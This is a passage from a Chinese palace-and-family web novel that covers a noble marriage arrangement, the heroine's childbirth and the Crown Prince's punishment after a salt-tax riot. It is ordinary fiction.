次子就有些难了,她不想小儿子靠着祖宗荫庇混日子,就想让他走科举的路子,家中一文一武也有个帮衬。
如今朝廷越来越看重文臣,对勋贵武将倒是没那么重视了,这也是她和丈夫商量后为儿子们的前途做的谋划。
好在她娘家是读书人,孩子的姑父也是进士出身的皇帝重臣,次子比其他人也有了更多的机会。
说到孙子,襄阳郡主也是很满意:“贺哥儿确实好,要不那苏家能看上了?苏家那老太太眼光挑的很,也是我孙子优秀。”
卫姜惊讶,苏家看上卫贺?不会是要嫁苏妍吧。
宋氏脸上闪过一丝忧虑,她对卫姜道:“提的是苏青,不过她也没有明说,但是有这个意思了。”她叹了口气。
这苏青可是和信王议过婚的,而且如今她这身世也尴尬,宋氏心里还是不太愿意的,她和丈夫是准备为儿子选清贵读书人家的贵女。
苏家从来不在他们的考虑之内,如今苏家有这个意思,她却为难了。
一方面苏家和卫家拐着弯沾亲带故,不好直接拒绝,更重要的是,如今卫家女儿害得她家女儿落水,她们没有追究,还帮着遮掩,又怎么好回绝呢。
“苏家那老太确实有点过分了,这就明显的挟恩图报,你要是不乐意,我就做这个恶人。“襄阳郡主才不像儿媳考虑那么多。
“不过这个苏家大姑娘人才品貌都不错,这要是以前你想求都求不来做儿媳呢,真不考虑考虑。我们卫家娶儿媳倒也不用看什么身世门第,人好就行。”
宋氏:“要不还是母亲做主吧。“
襄阳郡主一听急了,连忙摆手,“算了我不说了,婚姻大事父母做主,我都是做祖母的了,做主也轮不到我,我可不插手。”
她瞟了一眼女儿,她插手的失败案例就在眼前,当初女儿寻死觅活地要嫁窦绍,她心软做了个主去求了母亲,母亲是公主,做事果断直接进宫求了旨意,问都没问窦家一声就把外孙女塞过去了。
婚后女儿和女婿过的是相敬如冰,一日冷过一日,女儿的性子也越来越孤拐,虽说如今好了一点,但她看得出来,距离夫妻情深还远着呢。
自这件事后,丈夫都不让她插手小女儿的婚事了,如今她这么大年纪了,孙辈就更不想插手了。
她看了一眼女儿的大肚子,也许她当初说的话女儿听进去了,所以准备用孩子牢牢地套住女婿。
也行,孩子多了,说不定女儿再犯浑的时候,女婿看在儿女的份上又能多忍几次。
卫姜被母亲这同情又怜悯的眼神弄的浑身不舒服,“娘,你老这种眼神看我干吗?”
襄阳郡主:“我就是……”她深叹一口气,偏头看向儿媳:“这娶妻娶淑女,还是要人好,这样贺哥儿也能专心上进不是。”
话是很有道理,可您为什么先对着她叹口气啊,是了,她不贤淑咯,真是,有这样嫌弃女儿的亲娘吗?
“娘……”
卫姜很是不满,她娘却装作失聪,掏了掏耳朵。
宋氏忍的很辛苦,她赞同点头:“娘说的我明白,我和国公爷也商量过了,倒不是嫌弃她的身世,她毕竟差点就做了王妃,也不知道她如今是何心思,所以……”
她看向自家小姑,“我和你大哥想求县主帮着去试探一二,若是苏大小姐有更好的选择,那我们也不好强求。”
这话其实就是说让她去查查苏大小姐是不是钟情信王吧。
宋氏说完这话神色有些顾忌,应该是觉得她大肚子了,还让她奔波忙碌不好。
襄阳郡主:“这有什么关系,生前多走走更好生,再说了,你大哥大嫂好不容易开一次口。”
她朝女儿使眼色,这是女儿和娘家改善关系的好机会,不过是打探一二而已,对女儿来说也不难,她那侄女不就嫁到苏家当世子夫人吗?
卫姜笑着点头,对宋氏道:“大嫂放心吧,交给我好了。”
她忽然又想到一事:“巧慧也快及笄了吧。”
宋氏闻弦知雅意的人,立马笑着回道:“是啊,还有几个月就到她十五岁生辰了,家中也该筹备起她的亲事了,她性子软,这婆家还得细细挑。”
大户人家的姑娘,一般都是十三四岁就在议亲了,可见贤妃的话没说错,卫家的女儿确实被她的名声耽搁了。
留娘家人用完晚膳后,卫姜又亲自送襄阳郡主上了马车,看着马车远走,窦绍扶着她往回走。
“怎么看你神情怏怏的,出什么事了?”
卫姜欲言又止,然后摇头道,“没事,苏
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家想要和卫家联姻,大嫂来问问我。”
窦绍有些惊讶:“苏家舍得把苏青嫁给卫贺?”
什么叫舍得,卫贺哪里差了不成,卫姜可是个护短的,怒目瞪着他。
窦绍见她这张牙舞爪的样子,不由地失笑:“我说错了,我是说苏家怎么忽然提起这事了?难道宫里有什么消息传来?”
卫姜撞开他的手,没好气道:“我怎么知道。”
她走了几步,又停下来:“你怎么知道是苏青?”
见他笑而不语,卫姜嗤笑了一下:“又是猜的?那你觉得这门婚事怎么样?”
窦绍还真考虑了一下:“也不失为一门好亲。”
卫姜凑近他,想看看他是不是在算计什么,却见他眼底清澈,似乎真的是这么认为。
“我看嫂子好像不是很满意,大概也是顾忌她的身世,应该是我大哥赞同。”宋氏不好违逆丈夫,只能从别的地方入手了。
窦绍不觉得奇怪,这些日子他见过好几次苏国公去找大舅子喝茶了,应该说的就是婚事吧。
“我看苏家这真假千金只怕有内情,贺哥儿娶了苏青,对他以后前途也有帮助。”
卫姜眯着眼睛看他,是不是男人看待婚事就是看以后有没有帮助,这婚事对他们来说就是一桩交易吗?
“你们男人对娶亲都这么随便的吗?不看看合不合得来吗?两人相互喜欢不是最重要的吗?”
窦绍怔了一下,然后似笑非笑道:“这我没经验,毕竟……我好像没有其他选择。”
卫姜都觉得喷在耳朵上的气息都是冰凉的,那冷冷的笑容好像一把寒刀。
完蛋,她好像在雷区点火了,这破天也不是非聊不可的。
卫姜尴尬地对他笑,“今日晚霞不错哈。”
转头,天已经黑了,有些尴尬啊!
卫姜捂住肚子,嘶嘶地叫,窦绍也不顾上散发冷气了,忙上前问她怎么了?
“我肚子不舒服,我想回房。”
那四处滴溜溜转的眼睛,窦绍一下子就明白她是装的了。
他弯腰把她抱起,趁机狠狠地在她腰间的赘肉上抓了一下,这下她是真疼的呲牙了,在他看不见的地方狠狠地瞪了几眼。
苏家也猜到卫家会派人来,苏老太太还让卫姜私下见了苏青一面。
这些日子苏青沉稳了很多,也没有了之前的骄傲,知道卫姜是代表卫家来的,她的眼神里竟有了几分小心翼翼。
她说自己很满意这门婚事,她说自己和信王不过是认识,并没有深交,她说的卫姜都信。
卫姜从她的神情中可以看出,她是真的想嫁去卫家,或者说是任何一家,她是想通过嫁人离开苏家。
她是怕自己继续待在苏家,会让葛月和父母的隔阂越来越大。
卫姜安排卫贺和苏青见了一面,也不知道两人说了什么,没过多久苏卫两家亲事就定下来了,这个消息让京城不少人家惊讶。
她们没想到苏青竟然能嫁去卫家,卫贺可是卫家的嫡次子,虽然不能袭爵,可卫家这一代只有两兄弟,以后他的前程定然不差。
有多少人家早就盯上了卫贺,只是一直没找到机会,没想到竟然被苏青捷足先登了,这苏家对她可真是疼爱。
既然养女定情了,那信王妃定然是亲生女儿了,大家都是这么以为的,就连葛月心里也有这样的想法。
信王知道了她的心意并没有拒绝,她相信他只是没反应过来,如今苏青和他已经不可能了,没有了婚约的束缚,他一定会娶她。
她要好好地为两人的将来谋划一二了。
30. 第 30 章
江南爆发贪腐大案,朝野震动,皇上派太子南下清查盐税,本准备让窦绍跟去协助,还是皇帝忽然想起卫姜快生了,这才另换了人,同时还把信王也打发去了。
卫姜发动时,窦绍正在宫中和皇帝议事,顺才冒险把消息递到御前太监那里,皇上自然也就知道了。
皇帝得知消息后表现的比窦绍还紧张,立刻让太医院派了好几位御医去给黄院判打下手,都还没生,他已经着手让人准备赏赐了。
窦绍见皇上半点没有要放他走的意思,不由地心急,叫了声皇上,
皇帝转头见窦绍满脸焦急,有些尴尬地回过神来,忙笑着让他快出宫。
“快去,生了就派人进宫给朕报喜。”
窦绍匆匆谢了恩就走了,没一会儿就瞧不见人影了,皇帝背着手看向宫门外,感叹道:“朕只是第一次见他这么失态,你看,脚步都乱了。”
旁边的朝臣们附和:“县主马上就要生了,窦大人怕是担心的很。”
皇帝笑容带着满意,这些日子因为江南的盐税案,他都愁了好多天了,今日难得有个好消息啊。
“你们说是个男孩还是女孩?”
朝臣们一看我我看你的,谁都没想过这个事,又不是自家孩子,谁关心他生男生女啊,何况他们若真对县主肚里孩子这么关注,只怕窦大人不见得很高兴吧?
皇帝有兴致,他们也不能什么都不说,有阿谀奉承的官员瞧着皇帝的脸上,试探猜测道:“怕是个男孩子吧,那些妇人都说县主肚子尖尖,看起来应该是个男孩。”
其他朝臣鄙视看了他一眼,妇人之言他也当真。
皇帝听后笑了笑,接着却摇头道:“还是生女儿好,生个像阿姜那样的女儿也不错。他们孙子都有了,又不缺儿子。”
那大人脸上有些讪讪,跟在附和皇上:“还是皇上说的对。儿女双全,窦大人和县主好福气啊。”
也有一些心思深的人想到了其他,半个月前,东宫传来好消息,多年没响动的太子妃有身孕了,这要是生的是个皇孙……
他们在皇帝身边多年,自然是很了解皇上的心思,他一直遗憾自己的孩子没有一个有凤眼,若是县主这次真生的是个女孩,那女孩也有县主那双凤眼……
他们倒吸了一口冷气,皇上不会真有这个打算吧……这……是不是太儿戏了,他们飞快地交换了眼神,低头敛目,也不知道在想什么。
……
窦府
“我不生了,不生了,这福气谁爱要谁要,痛死我……”
卫姜抱着肚子嗷嗷地叫,听她胡说八道,襄阳郡主顾不上心疼她,狠狠地给了她一下:“胡说什么呢,谁生孩子不是这样过的。”
卫姜疼的满头大汗大汗,脸色狰狞,目光带着杀气,凶横地质问稳婆:“你不是说这第二胎跟拉屎一样容易吗?”
稳婆偏过头不敢对她的眼神,又掀开卫姜的裙子,看她发动的如何了?
倒是襄阳郡主很是嫌弃女儿说这些粗俗话,“嘴巴歇歇吧你,你看你跟乡野村妇也不差什么了。”
卫姜委屈地把头塞进襄阳郡主怀疑:“我好疼,能不能不生了?”
宋氏接过侍女手中的热帕子为她擦汗,听到这话一时有些无语,“县主歇歇吧,攒一攒力气。”
“你大嫂说的对,可别把力气都折腾完了,等下难生,那稳婆不也说了吗?你这虽是第二个,可中间相隔了十几年,可初次生也没差别了,先忍忍,生完了就舒坦了,女人都是这么过来的,我生了你们三个,你大嫂也生了三个,不都是这样痛过来的吗?”
疼痛一阵阵袭来,卫姜把自己缩成了个虾米,她紧紧抓住母亲的衣袖,手指过于用力青筋迸出,“剖了吧,剖了吧,给我来针无痛啊,妈,妈,太疼了。”
窦绍刚进门就听到了她让剖腹,吓得脚下一个趔趄,手无力地扶住门框,还以为是遇到难产了,他脑子嗡嗡作响,正好黄院判要进去给卫姜把脉,他一把抓住了人家:“大人,保大人,求您了!”
黄院判没忍住笑了,知道他是误会了,宽慰道:“大人放心,县主一切都好,还没到那个地步。”
经他提醒,窦绍也回过神来了,要是真出事了,屋里的岳母绝不会这么平静,而且卫姜声音还精神的很。
“我……一切摆脱黄院判了。”窦绍脸色尴尬朝他行礼。
黄院判摸着胡子点头,“好说,大人也是关心则乱,不过县主金尊玉贵长大,没受过这种苦也能理解,不如大人进去宽慰一二,她若是一直如此闹腾,后面没力气了,生的时候怕是要受苦头。”
窦绍点头,跟着他一起进了屋里,卫姜抬眼看到他来了,眼神忽地变得气势汹汹,好像见到了仇人一般。
她咬牙切齿地叫着他的名字,让他过去,襄阳郡主给女婿让了个位置。
窦绍才问了一句还好吗?卫姜忽地抬起他的胳膊,撸起袖子就一口咬上了,那一口是真狠,瞬间破皮。
窦绍嘶的一声,脸都变了,襄阳郡主她们也被这操作吓到了,连忙过来拉卫姜。
“快松口,你做什么呢?”襄阳郡主没想到女儿生孩子呢,还能闹这事,很是愧疚地看向女婿。
“岳母,我没事,您别拉她。”窦绍温柔地看向卫姜,“可是好受一些了。”
口腔中充斥着一股腥甜,就好像舔了一口铁锈的味道,卫姜也是堵着一股狠劲咬的,如今气松了,她也咬不下去了,见他这幅你做什么都默默忍受的模样,她也觉得没意思极了。
她松了口,还用他的衣袖擦了擦嘴,吐出口中的血水。
窦绍立马端来一旁的温水给她漱口,一副小媳妇作态,看的气人。
“你疼吗?”卫姜问他。
窦绍怕她自责,下意识摇头,“不疼。”
卫姜眼角一挑,语气立马变了,不满道:“那是当然,你这疼算什么,我比你疼一百倍一千倍。”
窦绍拉住她的手,低声下去道:“是我的错,你要是觉得疼的厉害了,就咬我吧,我不怕疼。”
他翻了个面,选了个没咬过的新地方给她。
卫姜白了他一眼,嘟囔道:“你不怕疼怎么不是你生。”
屋里其他人听了这话都装作很忙,只有襄阳郡主轻轻推了她一下,“这孩子……”
过了那阵疼,她好像又缓过气来了,“我饿了。”
襄阳郡主一喜,“饿我让人去给你做,可得吃饱点,想吃什么。”
“吃面吧。”
襄阳郡主起身要吩咐下人去做,被窦绍拦住了:“岳母,我去吧。”
他解释道:”我什么都不能替她做,煮碗面还是行的,这里就烦恼岳母和嫂子们了。”
宋氏都惊呆了,窦绍竟然不是去吩咐下人,听他意思是准备亲手做。
她这小姑还真是,蠢人有蠢福。
窦绍出了内室,窦家大夫人和三夫人也赶了过来,林氏脸上有些歉疚:“县主怎么样了?我原是准备早点过来的,正巧碰上苏家来人了,就迟了些。”
窦绍:“大嫂能来这一趟已经是感谢了,才刚刚发动,稳婆说没那么早,她饿了我准备去给她煮点吃的。”
三夫人听完这话,忙献殷勤,“怎么能让二哥去做,我来吧。”
窦绍婉拒了她:“不用了,我来吧,我心里乱的很,正好找个事打发下,我岳母她们都在里面,麻烦大嫂帮我招待了。”
林氏点头:“这是自然,我这就进去看看。”
一碗鸡汤面,还搭两个煎蛋,看着是听有食欲的,就是不知道味道如何?
卫姜咽了下口水,挑了一筷子刚要入口,又不确定地问他:“能吃的吧?”
“还可以。”窦绍笑着对她点头。
岂止是还可以,简直是美味,要不是肚子实在太撑了,这一大碗她就全干掉了,看她吃的满头大汗,窦绍替她擦了擦:“慢一点,不急。”
卫姜挥开他的手,“不用擦了,这是疼的。”又不是吃出来的。
窦绍眼底泛起心疼,“生完以后都不生了。”
卫姜:“你要不要听听你在说什么,想的美。”
要不是……一个坑她是不会踏进去两次的。
窦绍轻笑着点头:“是,我的错,以后你做主。”
夫妻俩是不是有点不背人,虽然都是一家人,可这话也臊啊,襄阳郡主轻咳了一声,“吃好了吧?”
卫姜颇有些不舍地放下筷子,窦绍问她:“怎么样?”
这个
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时候卫姜岂能让他得意,矜持地擦了下嘴:“就那样吧。”
窦绍哦了一声,“我还说你要是喜欢的话,我下次还煮给你吃,既然不合你口味那就算了吧。”
其实也不是不能商量啊!
“你要多练练,还有长进空间。”
襄阳郡主想要让女儿和女婿感情更好一些,便拆台道:“她要是不喜欢哪能吃的这么多。”
“我就是饿了。”
话音刚落她又嘶的一声抱住肚子,疼又来了。
窦氏带着赵慧娘也赶了过来,卫姜生个孩子起码惊动了半个京城,宫里太后也派人来打探消息,不过一直到天黑,卫姜还是没有生。
襄阳郡主都有些熬不住了,窦绍让侍女带她老人家先下去歇息,除了宋氏和林氏留下,其他人也都回了自己府邸。
卫姜折腾出满身大汗,趁着还没生她又洗了个澡,穿好衣服侍女们刚要把她扶去产房,她顿住了脚步:“我……我想更衣。”
可能刚刚喝了太多汤,尿意有些凶猛。
这窦绍就不好跟了,他站在浴房门外,才站定就听到卫姜一声尖叫。
“怎么了?”他推门就要进去。
“你别来,叫……叫稳婆。”
尖叫声惊动其他人,见稳婆挤了进来,卫姜跟被定住□□一样,双手平摊着,双脚叉开,整个身子半蹲。
她一副要哭的表情:“我……她好像头出来了。”
稳婆脸色一变,掀开她的裙摆就蹲了下去,马上又退了出来,转身对窦绍道:“大人,快,抱县主去床上。”
众人忙上前帮忙,窦绍刚把人放上床,就被稳婆一把推出门外,“闲杂人等去外面等。”
亥时,窦绍期盼的女儿终于出生了。
窦景是在回家的半路上得知自己添了个妹妹,他心中欢喜与懊恼,想着自己要是早一日出发,岂不是能赶上妹妹出生。
“我先回去了,你和儿子后面慢慢来。”
陶氏笑着点头,嘱咐丈夫路上小心点。
窦景点了点儿子的鼻子:“臭小子,你有个小姑姑了。”
宝哥儿呲着牙嗷嗷笑,跟着父亲咕咕咕地学。
花厅里摆满了各种赏赐,都是宫里的贵人们送来的,皇帝和太后做了表示,他们也不能慢啊,唯一留在京城的潞王还代表着兄弟们上门探望了,当然他是去不了内室的,主要还是窦绍来招待。
窦景都还没来得及见母亲和小妹妹就被父亲半途拽来让他招待潞王了,他自己倒是去了内室稀罕女儿。
“你怎么不去躺着。”刚进屋里就看到卫姜蹲在地上看着女儿发呆。
卫姜转过头,很是疑惑:“好奇怪,这是我生的唉。”
“嗯,你生的,辛苦了。”窦绍把她扶回去歇息。“我把她抱过去给你看。”
卫姜想了想,摇头,“还是算了吧,万一把她弄醒了怎么办?”
“她长得不丑吧?”卫姜盯着他,好像他说出一句不好听的就准备翻脸。
窦绍笑着点头:“很漂亮,像你。”
“快躺着吧,岳母知道你乱动定然又要教训你了,你先睡一会,有没有想吃的,我让人去做,醒来你刚好就可以吃了。”
卫姜眼睛一转,滴溜溜看着他。
窦绍点头:“行,等下我去做。”
晚上窦景问起妹妹的名字时,夫妻俩才惊觉忘了件重要的事,窦绍在书房翻了三天书,最后给女儿取名窦卫儿
这什么名字?
卫姜皱眉,窦景偷笑,窦绍尴尬,总之大名就这么定下来了。
不过皇上念着的凤眼目前还看不出来,只能等小卫儿大一点再看了。
不知不觉中日子过的很快,卫姜出了月子后就是卫贺和苏青成亲的日子,等忙完这桩婚事,马上又是年节了,年节后就是春闱,卫姜是忙的团团转,不过好在还有陶氏能搭把手。
窦绍也忙,经常半夜才回来,今日他干脆人都没看到,只是让两个长随回来收拾行李,随便告诉家里他要去一趟江南。
卫姜问了这知道,江南出大事了,太子清查盐税也不知道发生了什么,竟然好几个盐场暴动了,皇上大发雷霆,连夜派窦绍南下,只怕这个年他是赶不回来了。
31. 第 31 章
卫姜拿着拨浪鼓逗女儿,孙子乖巧地靠在她身上,好奇地看着摇篮里的小姑姑。
这画面真是又温馨又好笑。
“我们宝哥儿想不想玩?”卫姜把他抱起,把拨浪鼓递过去。
宝哥儿含了下手指摇了摇头,然后指了指摇篮里的婴儿,意思是给她玩。
怎么能这么乖,这么可爱,卫姜忍不住亲了一下他脸蛋,宝哥儿很害羞,躲进了卫姜怀里,过来一会又偷偷抬头看她。
卫姜看了心都软了,狠狠地揉了几把,看他穿的单薄,她转头对宝哥儿的乳娘道:“最近这天有些反复,早上晚上你们多注意点,别让他着凉了。”
宝哥儿算是早产的,卫姜一直担心他会像书中写的那样体弱多病,每隔十天半月地就要叫大夫来请个脉,好在宝哥儿争气,身子也越养越壮实了。
乳娘和侍候的妈妈们躬身应是。
“娘,有消息了。”
窦景一头扎了进来,说是找娘,可见妹妹醒着他就欢喜地扑到小床边,“妹妹,哥哥来看你了。”
小卫儿算是给面子地看了他一眼,还咧了下嘴,这可把窦景高兴坏了,“娘,妹妹认得我了,她喜欢我。”
“你儿子在这呢,叫你你没听见啊,这么喜欢你妹妹,干脆换一下好了。”卫姜斜了他一样,逗着宝哥儿说话。
当然卫姜也不是不喜欢女儿,她那么辛苦生出来的,她当然喜欢,本来她还想着不能和她有太深的感情,可每次听着她哭,她笑,卫姜就不由地被她牵动心神。
都怪窦绍,之前他在家,女儿有什么事都是找他,他也事事妥帖不用她操一点心,可他南下后,关于女儿的事情,那些乳娘下人事事都要回禀她,这一来二去,她哪里舍得了。
她都不敢想以后要是有机会回去,女儿她能舍下吗?
“我倒是想,宝哥儿那时候我就想是个女儿,如今好不容易有个妹妹,我当然稀罕了,您想换我也愿意啊,爹怕是不肯。”
窦景提到爹,忽然就想起来意了
“差点忘了正事。”他拍了下额头,对卫姜道:“太子回京了。”
卫姜:“就他一个人?还是都回来了?”
窦景摇头:“爹他们还没有回来,就太子和信王回来了,信王受了伤。”
卫姜讶异,书中这一段皇上指派的太子和窦绍去的江南,也没有发生什么暴乱,自然也就不会有信王伤到了的事情。
“伤的重吗?”
“还好,应该不重,我看太医院的御医们没有愁眉苦脸的。”窦景语气有些羡慕:“信王这次可是立了功的。”
要不是他连夜跑去找屯军求助,只怕那些盐工们没有那么容易镇压下来,只是没想到那些人那么不要命,竟然还敢刺杀太子……”
这些消息他从哪里知道的?卫姜问他。
“都知道了啊,街上都在传呢”窦景不明白母亲为什么一脸严肃,有些懵。
卫姜觉得有些奇怪,太子才回京,消息会是谁传出来的?而且这消息明里暗里都在抬高信王。
信王这么早就起了心思,散布消息是为他造势吗?太子知道吗?
见卫姜若有所思,窦景也正紧起来:“娘,可是有哪里不对?”
卫姜从发散的思绪中回神,见他眼底带着担心,就是把事情说了,他不一定能理解,且他也帮不上什么忙,何必让他这么早牵扯进来,白白担忧呢
“没事,我就是随便一问。”卫姜敷衍着他,把宝哥儿塞进他怀里:“你媳妇应该在等你们了,快回去吧,没几日春闱就开始了,你书看的怎么样了?”
最怕母亲突然来的关心,窦景把儿子顶在头上跑了:“您放心吧,我都有数的,您就别啰嗦了。”
啰嗦?卫景指着自己,半天不敢置信,他是在嫌她啰嗦吗?
她虽然当祖母,可她还没到啰嗦年纪呢,人家还年轻着呢。
这臭小子,她还没嫌他办事不牢靠呢,一天到晚就知道捅刀子,那嘴皮刮一下都能当砒霜用。
卫姜气的双手插腰,回头看着自己玩的正欢的女儿,忽然又笑了,低头摸了下她的脸:“你以后可别跟你哥学,你要当贴心的小棉袄,可不能漏风。”
“跪下!”
皇帝一声怒喝,侍候的公公很有眼色地把人带出去了,还贴心把宫门关上,殿里只留下父子三人。
太子一声不吭地跪下,信王看了看也跪了下来。
“父皇,三弟身上有伤。”太子很有手足情地提醒皇帝。
“你起来,让他跪着。”皇帝指着信王让起来,又狠狠地指着太子。
“父皇,暴乱之事和大哥无关,那些盐工是被奸人煽动的,还是大哥派人护送我去找的屯军,这才把暴乱平息的这么快,大哥也从来没有做过逼迫之事,那都是谣言。”
信王不肯起,脸上带着义愤填膺,觉得父皇不问问事情始末就这样罚大哥,他不是很服气。
皇帝被气的手指发抖,“你觉得他没错?”
信王看了一眼羞愧低头的太子,坚定摇头:“大哥案子查的没有错漏。”
“大哥这案子办的无可指责,盐场暴乱是怎么能推到大哥身上,我们都没有和那些盐工碰过面,要怪罪也该怪罪地方衙门,盐运司,对,还有盐课提举司,盐工可是通归他们管。”
皇帝冷笑一声,啪地扔下几本奏章,“你倒是会为你大哥开脱,可这些奏章上可不是这么说的,那些盐工招工,说是听说太子要他们日夜赶工,补偿盐税亏空,他们想着反正活不成了,这才起了暴乱,听明白他们的意思了吗?”皇帝低下头看着信王:“别人可都是说是太子逼反了那些盐工,太子不仁……”
信王气的满脸通红,脱口道:“放屁!”
嗯?皇上脸色一冷
太子立马把信王拉到身后,替他求饶:“父皇饶了三弟吧,都是儿臣的错,他也是为了维护儿臣,不是故意冲撞父皇的,父皇要罚要骂就由儿臣来承担。”
“大哥,这不关你事。”信王想要拉住太子,不想牵动了背后的伤。
见他脸色都白了,皇上想到儿子的伤,神色也缓和了些:“你们倒是兄弟情深,起来吧。”
见他们兄友弟恭,皇帝眼底藏了几分满意
太子把信王扶了起来,自己撩起下袍又跪了下去,信王也要跟着跪,被他阻止。
“三弟,父皇没说错,我确实有错,该罚。”
皇帝有些意外,“那你说说自己错在哪?”
太子膝行几步,皇上手刚要动又强忍着顿住了,太子靠近他,低头请罪:“儿臣错有三。
一错,父皇早就交代过南下查案要谨慎行事,我却疏于约束让案子内情泄漏,账册丢失,二错,奸人煽动百姓却不能早早预料,差点酿成大祸,三错,亲入险情致使三弟为我受伤。”
皇帝气极,抬脚就要踹他,可半路还是收了回来,指着他骂道:“难为你还知道什么自己错了这么多,千金之子坐不垂堂,你把自己这个太子当什么,马前卒吗?”
信王在皇帝要动脚时想要赶过去替大哥挡,但听到父皇骂太子不爱惜自己,他又默默回到原先的位置,怕被迁怒,他那个时候根本没想起大哥该先走,甚至觉得大哥不愧是太子,好样的!
“你看看你三弟受得伤,都是为了替你挡刀。”
倒也没有那么夸张,那个时候暴民直冲他和太子方向来,信王那个时候脑海里只想着大哥不能出事,大嫂还怀着身孕呢。
皇帝怒其不争,狠狠地指着太子的头:“你是不是觉得自己特英勇,特有储君风范,要是信王没有及时带来援兵,你想过后果吗?”
太子小声回了一句:“是儿臣的错,但我相信三弟,更相信朝廷的兵马。”
皇帝气的发蒙,转了圈不知道说什么:“滚回去,既然知道自己错了,那就要认罚,太子反省三月,无诏不得出东宫。”
“儿臣领罚。”
“父皇……”信王急了,太子是储君,被关在东宫三月,朝臣看在眼里会怎么想,他抓住皇帝的衣袍,替太子求情:“父皇,主要错在我,是我没劝大哥,你罚大哥别的好了,他是太子,岂能不听政。”
皇帝幽幽地盯着他,“我看他也听不明白,还是在东宫多读些书,你这次立了功还受了伤,外面的百姓都夸你呢,你想朕赏赐你些什么好?听说你和苏家刚认回来的女儿倒是关系很好,不如我把她赐给你做王妃。”
信王被皇上猝不及防的话说的呆住了,有些回不过神来。
“父皇……这事和三弟无关”太子朝皇上摇了摇头,又拉了信王一把,低声道:“我没事,别触怒了父皇。”轻轻地拍了拍他的胳膊,安抚他。
皇上看了一眼太子,又探究似地看向信王,见他全然不知的模样,和缓了语气:“行了,你们下去吧。”
太子拉着信王走到殿门口,回过神的信王对皇上道:“父皇,我和苏二小姐是好友,不是您想的那样……”
敢情他是去想这事了,皇上不由地发笑,可能是自己想多了,他挥手让他们走。
延庆宫<
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p>贵妃正在和儿子下棋,门口的宫女得到小太监的禀报走了进来。
“娘娘,太子回东宫了?”
贵妃关切问道:“皇上可有什么旨意?”
那侍女低头道:“说是皇上发了好大的火,让太子闭宫读书。”
贵妃脸色都变了,立马起身追问:“多久”
“三个月。”
这么久,看来太子这差事办的皇上极度不满意,这也是贵妃早就猜到的,只是没想到皇帝会罚这么重。
对太子来说,不能入朝议政,岂不是告诉大家东宫不稳了。
贵妃急的团团转,回过身却见儿子还有心思在下棋,她走过去打乱了棋子:“你还有心思下棋,东宫出了这么大的事情,你快想想办法,你去找你父皇求求情。”
潞王低头把玩着手中的黑子,脸上依旧温和,“父皇正在气头上,我现在过去也无用。
贵妃可不接受这理由:“你都没去怎么就知道没用了,早知道皇上见太子的时候我也让你去了,你在场也能替太子说几句好话,也不知道信王到底是怎么回的,怎么让太子受这样的罚,皇上可从来没罚过太子。信王不过立了点小功,皇上……”她又摇头,低声囔囔道:“不会的,皇上最是敬重先皇后了。”
“先皇后对我们母子有大恩,太子是你的兄长也是储君,你一定要帮他,过些日子你找个机会去皇上那里求个情。”
潞王没有出声,贵妃又重复了一遍,他笑着点头:“母妃放心,我这个当弟弟的一定会帮他的。”
“这就好。”
贵妃母子在说太子的事情,同一时间贤妃和儿子也在说这事。
贤妃听到太子被罚,心里还有些高兴,但得知儿子为给太子求情,没有要皇上的赏赐,牙都咬碎了。
她长长地指甲狠狠地戳在信王额头,“你是不是傻掉了,你娘这么聪明的人,怎么生出这么傻的儿子,他是太子用的着你求情,你好不容易在皇上面前长一次脸,现在好了。什么也没捞着。”
她看了一眼儿子,又嘲讽道:“也不是什么都没有,捞了一身伤回来。”
信王不满母亲这个样子,好像看东宫笑话一样,“那是我大哥,母妃,你说的都是什么话。”
见儿子发脾气,贤妃见好就收,轻轻为儿子上药,“还算你聪明,没有答应皇上,苏家那二丫头哪里配得上你,娘给你找个更好的。”
“娘,阿月很好的。”信王觉得阿月太好了,自己若是不能给她幸福就这么娶了人家,那是害了她,他想和阿月再好好谈谈,若是……若是她依旧想要嫁给他,那他一定会想办法给她幸福,努力去做好她的丈夫,对她好一辈子。
半个月后,窦绍也从江南回来了,竟然还给卫姜带了很多江南土仪。
刚从宫里出来,窦绍就抱着女儿不放手了,可惜小卫儿早就不记得他是谁了,目光中带着嫌弃盯着这个男人,见他表现还行,她便赏个脸让他抱一抱。
窦绍看着女儿又看了一眼旁边翻看东西的卫姜,“一个月不见,她变了个样,长的和你很像。”
卫姜翻了个白眼,哪里像了,明明是照着他长得,也就一双眼睛像她。
“对了,皇上说是太后念着你,让你明日进宫呢。”
卫姜停下试戴首饰的手,转过身看他,“发生什么事了?”
窦绍惊奇于她的敏锐,小声道:“东宫今日好像叫了御医。”
卫姜心里有数了,“那我明日带窦卫儿一起去。”
太后和皇上还没有见过她呢,有个小孩子也能活跃下气氛,而且卫姜还知道,皇上肯定会很喜欢女儿。
她如今做了母亲,有些事情总要为女儿打算一些,这个时代皇权至上,若是能得到至尊之人的宠爱,小卫儿的未来会比一般人恣意些。
“这丫头倒是会长。”卫姜点头捏了捏女儿粉嫩嫩的脸蛋,眉眼像极了窦绍,偏偏一双眼睛随了她。
卫姜凑近怜爱地亲了一口,转头正要对窦绍说什么,偏偏窦绍也低头看着母女,她这一转头就直接一路擦到他的耳朵
卫姜的脸腾地就红了,下意识伸手推了他一把,推过后反应过来他还抱着个孩子,又出手去拉,好在窦绍下盘稳,女儿稳稳抱住了。
见他没事,卫姜绷着一张红脸,装作无事发生出了门,窦绍能感觉到她脚步惊慌。
他腾出一只手摸了摸嘴唇,回味刚刚那稍纵即逝的香软触感,想到她刚刚那惊恐的模样,窦绍嘴角翘起,眉眼都是笑。
“猜猜你娘会躲多久回来?”
32. 第 32 章
“来,给朕抱抱。”皇帝伸出手,从太后怀里接过小卫儿,把她高高举起,看着那双已现雏形的凤眼,皇上很是满意。
众人神情各异,特别是贤妃,眼睛都瞪大了,宫里出生这么多孩子,皇上抱过谁,就连太子那几个孩子都没有例外,今天竟然抱卫姜的女儿,这个小婴儿哪里来的这么大福气。
贤妃嘴角撇了下,心里意见大的很,想当初她生信王的时候,也想着法子想要皇上多疼疼信王,当时皇上以规矩为由,连抱一下都不肯。
如今倒是抢着抱外人了,贤妃心里酸溜溜的,不得劲。
“皇上小心些,小孩子骨头软,怕是不好抱。”看皇上那生疏的手法,皇后上前帮了一把。
“她太软了,朕还是不抱了,等大一点再说。”皇上把孩子还给了乳娘。
“听说景哥儿今年下场,他可有把握?”皇帝和卫姜寒暄。
卫姜想到窦景那自信的模样,笑着道:“舅舅,你这可就问倒我了,我又不懂做学问,不过景哥儿倒是不谦虚,谁问他都说有把握,让大家等他好消息,我就等着他闹笑话呢。”
众人也忍不住笑了,皇上道:“那朕等着看他的文章了。“
